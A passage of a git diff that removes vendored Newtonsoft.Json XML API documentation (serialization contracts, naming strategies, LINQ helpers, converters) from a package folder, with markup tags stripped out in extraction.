data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name handling used when serializing the property's collection items. - - The collection's items type name handling. - - - - Gets or sets the reference loop handling used when serializing the property's collection items. - - The collection's items reference loop handling. - - - - A collection of objects. - - - - - Initializes a new instance of the class. - - The type. - - - - When implemented in a derived class, extracts the key from the specified element. - - The element from which to extract the key. - The key for the specified element. - - - - Adds a object. - - The property to add to the collection. - - - - Gets the closest matching object. - First attempts to get an exact case match of and then - a case insensitive match. - - Name of the property. - A matching property if found. - - - - Gets a property by property name. - - The name of the property to get. - Type property name string comparison. - A matching property if found. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Lookup and create an instance of the type described by the argument. - - The type to create. - Optional arguments to pass to an initializing constructor of the JsonConverter. - If null, the default constructor is used. - - - - A kebab case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Represents a trace writer that writes to memory. When the trace message limit is - reached then old trace messages will be removed as new messages are added. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Initializes a new instance of the class. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Returns an enumeration of the most recent trace messages. - - An enumeration of the most recent trace messages. - - - - Returns a of the most recent trace messages. - - - A of the most recent trace messages. - - - - - A base class for resolving how property names and dictionary keys are serialized. - - - - - A flag indicating whether dictionary keys should be processed. - Defaults to false. - - - - - A flag indicating whether extension data names should be processed. - Defaults to false. - - - - - A flag indicating whether explicitly specified property names, - e.g. a property name customized with a , should be processed. - Defaults to false. - - - - - Gets the serialized name for a given property name. - - The initial property name. - A flag indicating whether the property has had a name explicitly specified. - The serialized property name. - - - - Gets the serialized name for a given extension data name. - - The initial extension data name. - The serialized extension data name. - - - - Gets the serialized key for a given dictionary key. - - The initial dictionary key. - The serialized dictionary key. - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Hash code calculation - - - - - - Object equality implementation - - - - - - - Compare to another NamingStrategy - - - - - - - Represents a method that constructs an object. - - The object type to create. - - - - When applied to a method, specifies that the method is called when an error occurs serializing an object. - - - - - Provides methods to get attributes from a , , or . - - - - - Initializes a new instance of the class. - - The instance to get attributes for. This parameter should be a , , or . - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Get and set values for a using reflection. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - A snake case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Specifies how strings are escaped when writing JSON text. - - - - - Only control characters (e.g. newline) are escaped. - - - - - All non-ASCII and control characters (e.g. newline) are escaped. - - - - - HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. - - - - - Indicates the method that will be used during deserialization for locating and loading assemblies. - - - - - In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. - - - - - In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. - - - - - Specifies type name handling options for the . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - - - - Do not include the .NET type name when serializing types. - - - - - Include the .NET type name when serializing into a JSON object structure. - - - - - Include the .NET type name when serializing into a JSON array structure. - - - - - Always include the .NET type name when serializing. - - - - - Include the .NET type name when the type of the object being serialized is not the same as its declared type. - Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON - you must specify a root type object with - or . - - - - - Determines whether the collection is null or empty. - - The collection. - - true if the collection is null or empty; otherwise, false. - - - - - Adds the elements of the specified collection to the specified generic . - - The list to add to. - The collection of elements to add. - - - - Converts the value to the specified type. If the value is unable to be converted, the - value is checked whether it assignable to the specified type. - - The value to convert. - The culture to use when converting. - The type to convert or cast the value to. - - The converted type. If conversion was unsuccessful, the initial value - is returned if assignable to the target type. - - - - - Helper class for serializing immutable collections. - Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed - https://github.com/JamesNK/Newtonsoft.Json/issues/652 - - - - - Provides a set of static (Shared in Visual Basic) methods for - querying objects that implement . - - - - - Returns the input typed as . - - - - - Returns an empty that has the - specified type argument. - - - - - Converts the elements of an to the - specified type. - - - - - Filters the elements of an based on a specified type. - - - - - Generates a sequence of integral numbers within a specified range. - - The value of the first integer in the sequence. - The number of sequential integers to generate. - - - - Generates a sequence that contains one repeated value. - - - - - Filters a sequence of values based on a predicate. - - - - - Filters a sequence of values based on a predicate. - Each element's index is used in the logic of the predicate function. - - - - - Projects each element of a sequence into a new form. - - - - - Projects each element of a sequence into a new form by - incorporating the element's index. - - - - - Projects each element of a sequence to an - and flattens the resulting sequences into one sequence. - - - - - Projects each element of a sequence to an , - and flattens the resulting sequences into one sequence. The - index of each source element is used in the projected form of - that element. - - - - - Projects each element of a sequence to an , - flattens the resulting sequences into one sequence, and invokes - a result selector function on each element therein. - - - - - Projects each element of a sequence to an , - flattens the resulting sequences into one sequence, and invokes - a result selector function on each element therein. The index of - each source element is used in the intermediate projected form - of that element. - - - - - Returns elements from a sequence as long as a specified condition is true. - - - - - Returns elements from a sequence as long as a specified condition is true. - The element's index is used in the logic of the predicate function. - - - - - Base implementation of First operator. - - - - - Returns the first element of a sequence. - - - - - Returns the first element in a sequence that satisfies a specified condition. - - - - - Returns the first element of a sequence, or a default value if - the sequence contains no elements. - - - - - Returns the first element of the sequence that satisfies a - condition or a default value if no such element is found. - - - - - Base implementation of Last operator. - - - - - Returns the last element of a sequence. - - - - - Returns the last element of a sequence that satisfies a - specified condition. - - - - - Returns the last element of a sequence, or a default value if - the sequence contains no elements. - - - - - Returns the last element of a sequence that satisfies a - condition or a default value if no such element is found. - - - - - Base implementation of Single operator. - - - - - Returns the only element of a sequence, and throws an exception - if there is not exactly one element in the sequence. - - - - - Returns the only element of a sequence that satisfies a - specified condition, and throws an exception if more than one - such element exists. - - - - - Returns the only element of a sequence, or a default value if - the sequence is empty; this method throws an exception if there - is more than one element in the sequence. - - - - - Returns the only element of a sequence that satisfies a - specified condition or a default value if no such element - exists; this method throws an exception if more than one element - satisfies the condition. - - - - - Returns the element at a specified index in a sequence. - - - - - Returns the element at a specified index in a sequence or a - default value if the index is out of range. - - - - - Inverts the order of the elements in a sequence. - - - - - Returns a specified number of contiguous elements from the start - of a sequence. - - - - - Bypasses a specified number of elements in a sequence and then - returns the remaining elements. - - - - - Bypasses elements in a sequence as long as a specified condition - is true and then returns the remaining elements. - - - - - Bypasses elements in a sequence as long as a specified condition - is true and then returns the remaining elements. The element's - index is used in the logic of the predicate function. - - - - - Returns the number of elements in a sequence. - - - - - Returns a number that represents how many elements in the - specified sequence satisfy a condition. - - - - - Returns a that represents the total number - of elements in a sequence. - - - - - Returns a that represents how many elements - in a sequence satisfy a condition. - - - - - Concatenates two sequences. - - - - - Creates a from an . - - - - - Creates an array from an . - - - - - Returns distinct elements from a sequence by using the default - equality comparer to compare values. - - - - - Returns distinct elements from a sequence by using a specified - to compare values. - - - - - Creates a from an - according to a specified key - selector function. - - - - - Creates a from an - according to a specified key - selector function and a key comparer. - - - - - Creates a from an - according to specified key - and element selector functions. - - - - - Creates a from an - according to a specified key - selector function, a comparer and an element selector function. - - - - - Groups the elements of a sequence according to a specified key - selector function. - - - - - Groups the elements of a sequence according to a specified key - selector function and compares the keys by using a specified - comparer. - - - - - Groups the elements of a sequence according to a specified key - selector function and projects the elements for each group by - using a specified function. - - - - - Groups the elements of a sequence according to a specified key - selector function and creates a result value from each group and - its key. - - - - - Groups the elements of a sequence according to a key selector - function. The keys are compared by using a comparer and each - group's elements are projected by using a specified function. - - - - - Groups the elements of a sequence according to a specified key - selector function and creates a result value from each group and - its key. The elements of each group are projected by using a - specified function. - - - - - Groups the elements of a sequence according to a specified key - selector function and creates a result value from each group and - its key. The keys are compared by using a specified comparer. - - - - - Groups the elements of a sequence according to a specified key - selector function and creates a result value from each group and - its key. Key values are compared by using a specified comparer, - and the elements of each group are projected by using a - specified function. - - - - - Applies an accumulator function over a sequence. - - - - - Applies an accumulator function over a sequence. The specified - seed value is used as the initial accumulator value. - - - - - Applies an accumulator function over a sequence. The specified - seed value is used as the initial accumulator value, and the - specified function is used to select the result value. - - - - - Produces the set union of two sequences by using the default - equality comparer. - - - - - Produces the set union of two sequences by using a specified - . - - - - - Returns the elements of the specified sequence or the type - parameter's default value in a singleton collection if the - sequence is empty. - - - - - Returns the elements of the specified sequence or the specified - value in a singleton collection if the sequence is empty. - - - - - Determines whether all elements of a sequence satisfy a condition. - - - - - Determines whether a sequence contains any elements. - - - - - Determines whether any element of a sequence satisfies a - condition. - - - - - Determines whether a sequence contains a specified element by - using the default equality comparer. - - - - - Determines whether a sequence contains a specified element by - using a specified . - - - - - Determines whether two sequences are equal by comparing the - elements by using the default equality comparer for their type. - - - - - Determines whether two sequences are equal by comparing their - elements by using a specified . - - - - - Base implementation for Min/Max operator. - - - - - Base implementation for Min/Max operator for nullable types. - - - - - Returns the minimum value in a generic sequence. - - - - - Invokes a transform function on each element of a generic - sequence and returns the minimum resulting value. - - - - - Returns the maximum value in a generic sequence. - - - - - Invokes a transform function on each element of a generic - sequence and returns the maximum resulting value. - - - - - Makes an enumerator seen as enumerable once more. - - - The supplied enumerator must have been started. The first element - returned is the element the enumerator was on when passed in. - DO NOT use this method if the caller must be a generator. It is - mostly safe among aggregate operations. - - - - - Sorts the elements of a sequence in ascending order according to a key. - - - - - Sorts the elements of a sequence in ascending order by using a - specified comparer. - - - - - Sorts the elements of a sequence in descending order according to a key. - - - - - Sorts the elements of a sequence in descending order by using a - specified comparer. - - - - - Performs a subsequent ordering of the elements in a sequence in - ascending order according to a key. - - - - - Performs a subsequent ordering of the elements in a sequence in - ascending order by using a specified comparer. - - - - - Performs a subsequent ordering of the elements in a sequence in - descending order, according to a key. - - - - - Performs a subsequent ordering of the elements in a sequence in - descending order by using a specified comparer. - - - - - Base implementation for Intersect and Except operators. - - - - - Produces the set intersection of two sequences by using the - default equality comparer to compare values. - - - - - Produces the set intersection of two sequences by using the - specified to compare values. - - - - - Produces the set difference of two sequences by using the - default equality comparer to compare values. - - - - - Produces the set difference of two sequences by using the - specified to compare values. - - - - - Creates a from an - according to a specified key - selector function. - - - - - Creates a from an - according to a specified key - selector function and key comparer. - - - - - Creates a from an - according to specified key - selector and element selector functions. - - - - - Creates a from an - according to a specified key - selector function, a comparer, and an element selector function. - - - - - Correlates the elements of two sequences based on matching keys. - The default equality comparer is used to compare keys. - - - - - Correlates the elements of two sequences based on matching keys. - The default equality comparer is used to compare keys. A - specified is used to compare keys. - - - - - Correlates the elements of two sequences based on equality of - keys and groups the results. The default equality comparer is - used to compare keys. - - - - - Correlates the elements of two sequences based on equality of - keys and groups the results. The default equality comparer is - used to compare keys. A specified - is used to compare keys. - - - - - Computes the sum of a sequence of values. - - - - - Computes the sum of a sequence of - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of values. - - - - - Computes the average of a sequence of values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Computes the sum of a sequence of nullable values. - - - - - Computes the sum of a sequence of nullable - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of nullable values. - - - - - Computes the average of a sequence of nullable values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Returns the minimum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the minimum nullable value. - - - - - Returns the maximum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the maximum nullable value. - - - - - Computes the sum of a sequence of values. - - - - - Computes the sum of a sequence of - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of values. - - - - - Computes the average of a sequence of values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Computes the sum of a sequence of nullable values. - - - - - Computes the sum of a sequence of nullable - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of nullable values. - - - - - Computes the average of a sequence of nullable values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Returns the minimum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the minimum nullable value. - - - - - Returns the maximum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the maximum nullable value. - - - - - Computes the sum of a sequence of nullable values. - - - - - Computes the sum of a sequence of - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of values. - - - - - Computes the average of a sequence of values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Computes the sum of a sequence of nullable values. - - - - - Computes the sum of a sequence of nullable - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of nullable values. - - - - - Computes the average of a sequence of nullable values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Returns the minimum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the minimum nullable value. - - - - - Returns the maximum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the maximum nullable value. - - - - - Computes the sum of a sequence of values. - - - - - Computes the sum of a sequence of - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of values. - - - - - Computes the average of a sequence of values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Computes the sum of a sequence of nullable values. - - - - - Computes the sum of a sequence of nullable - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of nullable values. - - - - - Computes the average of a sequence of nullable values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Returns the minimum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the minimum nullable value. - - - - - Returns the maximum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the maximum nullable value. - - - - - Computes the sum of a sequence of values. - - - - - Computes the sum of a sequence of - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of values. - - - - - Computes the average of a sequence of values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Computes the sum of a sequence of nullable values. - - - - - Computes the sum of a sequence of nullable - values that are obtained by invoking a transform function on - each element of the input sequence. - - - - - Computes the average of a sequence of nullable values. - - - - - Computes the average of a sequence of nullable values - that are obtained by invoking a transform function on each - element of the input sequence. - - - - - Returns the minimum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the minimum nullable value. - - - - - Returns the maximum value in a sequence of nullable - values. - - - - - Invokes a transform function on each element of a sequence and - returns the maximum nullable value. - - - - - Represents a collection of objects that have a common key. - - - - - Gets the key of the . - - - - - Defines an indexer, size property, and Boolean search method for - data structures that map keys to - sequences of values. - - - - - Represents a sorted sequence. - - - - - Performs a subsequent ordering on the elements of an - according to a key. - - - - - Represents a collection of keys each mapped to one or more values. - - - - - Gets the number of key/value collection pairs in the . - - - - - Gets the collection of values indexed by the specified key. - - - - - Determines whether a specified key is in the . - - - - - Applies a transform function to each key and its associated - values and returns the results. - - - - - Returns a generic enumerator that iterates through the . - - - - - See issue #11 - for why this method is needed and cannot be expressed as a - lambda at the call site. - - - - - See issue #11 - for why this method is needed and cannot be expressed as a - lambda at the call site. - - - - - Gets the type of the typed collection's items. - - The type. - The type of the typed collection's items. - - - - Gets the member's underlying type. - - The member. - The underlying type of the member. - - - - Determines whether the property is an indexed property. - - The property. - - true if the property is an indexed property; otherwise, false. - - - - - Gets the member's value on the object. - - The member. - The target object. - The member's value on the object. - - - - Sets the member's value on the target object. - - The member. - The target. - The value. - - - - Determines whether the specified MemberInfo can be read. - - The MemberInfo to determine whether can be read. - /// if set to true then allow the member to be gotten non-publicly. - - true if the specified MemberInfo can be read; otherwise, false. - - - - - Determines whether the specified MemberInfo can be set. - - The MemberInfo to determine whether can be set. - if set to true then allow the member to be set non-publicly. - if set to true then allow the member to be set if read-only. - - true if the specified MemberInfo can be set; otherwise, false. - - - - - Builds a string. Unlike this class lets you reuse its internal buffer. - - - - - Determines whether the string is all white space. Empty string will return false. - - The string to test whether it is all white space. - - true if the string is all white space; otherwise, false. - - - - - Specifies the state of the . - - - - - An exception has been thrown, which has left the in an invalid state. - You may call the method to put the in the Closed state. - Any other method calls result in an being thrown. - - - - - The method has been called. - - - - - An object is being written. - - - - - An array is being written. - - - - - A constructor is being written. - - - - - A property is being written. - - - - - A write method has not been called. - - - - - This attribute allows us to define extension methods without - requiring .NET Framework 3.5. For more information, see the section, - Extension Methods in .NET Framework 2.0 Apps, - of Basic Instincts: Extension Methods - column in MSDN Magazine, - issue Nov 2007. - - - - Specifies that an output will not be null even if the corresponding type allows it. - - - Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. - - - Initializes the attribute with the specified return value condition. - - The return value condition. If the method returns this value, the associated parameter will not be null. - - - - Gets the return value condition. - - - Specifies that an output may be null even if the corresponding type disallows it. - - - Specifies that null is allowed as an input even if the corresponding type disallows it. - - - - Specifies that the method will not return if the associated Boolean parameter is passed the specified value. - - - - - Initializes a new instance of the class. - - - The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to - the associated parameter matches this value. - - - - Gets the condition parameter value. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.xml b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.xml deleted file mode 100644 index 19344486..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.xml +++ /dev/null @@ -1,9541 +0,0 @@ - - - - Newtonsoft.Json - - - - - Represents a BSON Oid (object id). - - - - - Gets or sets the value of the Oid. - - The value of the Oid. - - - - Initializes a new instance of the class. - - The Oid value. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data. - - - - - Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary. - - - true if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, false. - - - - - Gets or sets a value indicating whether the root object will be read as a JSON array. - - - true if the root object will be read as a JSON array; otherwise, false. - - - - - Gets or sets the used when reading values from BSON. - - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Initializes a new instance of the class. - - The containing the BSON data to read. - if set to true the root object will be read as a JSON array. - The used when reading values from BSON. - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data. - - - - - Gets or sets the used when writing values to BSON. - When set to no conversion will occur. - - The used when writing values to BSON. - - - - Initializes a new instance of the class. - - The to write to. - - - - Initializes a new instance of the class. - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying stream. - - - - - Writes the end. - - The token. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes the beginning of a JSON array. - - - - - Writes the beginning of a JSON object. - - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value that represents a BSON object id. - - The Object ID value to write. - - - - Writes a BSON regex. - - The regex pattern. - The regex options. - - - - Specifies how constructors are used when initializing objects during deserialization by the . - - - - - First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor. - - - - - Json.NET will use a non-public default constructor before falling back to a parameterized constructor. - - - - - Converts a binary value to and from a base 64 string value. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from JSON and BSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Creates a custom object. - - The object type to convert. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Creates an object which will then be populated by the serializer. - - Type of the object. - The created object. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Gets a value indicating whether this can write JSON. - - - true if this can write JSON; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified value type. - - Type of the value. - - true if this instance can convert the specified value type; otherwise, false. - - - - - Provides a base class for converting a to and from JSON. - - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts an Entity Framework to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; otherwise, false. - - - - - Converts a to and from the ISO 8601 date format (e.g. "2008-04-12T12:53Z"). - - - - - Gets or sets the date time styles used when converting a date to and from JSON. - - The date time styles used when converting a date to and from JSON. - - - - Gets or sets the date time format used when converting a date to and from JSON. - - The date time format used when converting a date to and from JSON. - - - - Gets or sets the culture used when converting a date to and from JSON. - - The culture used when converting a date to and from JSON. - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Converts a to and from a JavaScript Date constructor (e.g. new Date(52231943)). - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing property value of the JSON that is being converted. - The calling serializer. - The object value. - - - - Converts a to and from JSON. - - - - - Writes the JSON representation of the object. - - The to write to. - The value. - The calling serializer. - - - - Reads the JSON representation of the object. - - The to read from. - Type of the object. - The existing value of object being read. - The calling serializer. - The object value. - - - - Determines whether this instance can convert the specified object type. - - Type of the object. - - true if this instance can convert the specified object type; 